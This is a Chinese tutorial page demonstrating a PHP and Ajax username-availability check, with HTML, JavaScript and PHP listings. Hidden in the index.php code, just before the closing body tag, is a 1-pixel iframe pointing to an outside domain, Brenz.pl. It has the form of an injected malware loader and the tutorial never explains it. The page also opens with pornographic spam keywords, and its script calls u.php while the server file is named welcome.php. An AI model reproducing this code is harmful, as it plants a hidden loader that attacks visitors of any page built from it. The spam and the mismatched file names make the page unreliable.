欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PHP與Ajax相結(jié)合實(shí)現(xiàn)登錄驗(yàn)證小Demo

 更新時(shí)間:2016年03月16日 09:56:45   作者:u014427391  
AJAX即“Asynchronous Javascript And XML”(異步JavaScript和XML),是指一種創(chuàng)建交互式網(wǎng)頁(yè)應(yīng)用的網(wǎng)頁(yè)開(kāi)發(fā)技術(shù)。接下來(lái)通過(guò)本文給大家分享PHP與Ajax相結(jié)合實(shí)現(xiàn)登錄驗(yàn)證小Demo,對(duì)php ajax實(shí)現(xiàn)登錄驗(yàn)證相關(guān)知識(shí)感興趣的朋友一起學(xué)習(xí)吧

 AJAX即“Asynchronous Javascript And XML”(異步JavaScript和XML),是指一種創(chuàng)建交互式網(wǎng)頁(yè)應(yīng)用的網(wǎng)頁(yè)開(kāi)發(fā)技術(shù)。

AJAX = Asynchronous JavaScript and XML(異步的 JavaScript 和 XML)。
AJAX 不是新的編程語(yǔ)言,而是一種使用現(xiàn)有標(biāo)準(zhǔn)的新方法。
AJAX 是與服務(wù)器交換數(shù)據(jù)并更新部分網(wǎng)頁(yè)的藝術(shù),在不重新加載整個(gè)頁(yè)面的情況下。

設(shè)計(jì)一個(gè)用戶注冊(cè)頁(yè)面,當(dāng)用戶輸入注冊(cè)名的時(shí)候,檢測(cè)用戶名是否已存在,如果存在,給予提示

我們先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始對(duì)象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id為userId的值 
url="u.php?userId="+userId;//路徑 
if(xmlHttpReq!=null){//若對(duì)象實(shí)例化創(chuàng)建成功 
xmlHttpReq.open("GET",url,true);//open()打開(kāi)請(qǐng)求 
xmlHttpReq.onreadystatechange=RequestCallBack;//設(shè)置回調(diào)函數(shù)RequestCallBack() 
xmlHttpReq.send(null);//請(qǐng)求不包括正文 
} 
function RequestCallBack(){//回調(diào)函數(shù) 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//請(qǐng)求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//將得到的信息賦給id屬性為get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注冊(cè) 
</font><br> 
<form> 
用戶名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="檢測(cè)"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html> 

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理員"){ 
echo "用戶名已存在!"; 
}else{ 
echo "該用戶名可以注冊(cè)"; 
} 
?> 

關(guān)于PHP與Ajax相結(jié)合實(shí)現(xiàn)登錄驗(yàn)證小Demo的相關(guān)知識(shí)就給大家介紹到這里,希望對(duì)大家有所幫助!

相關(guān)文章

最新評(píng)論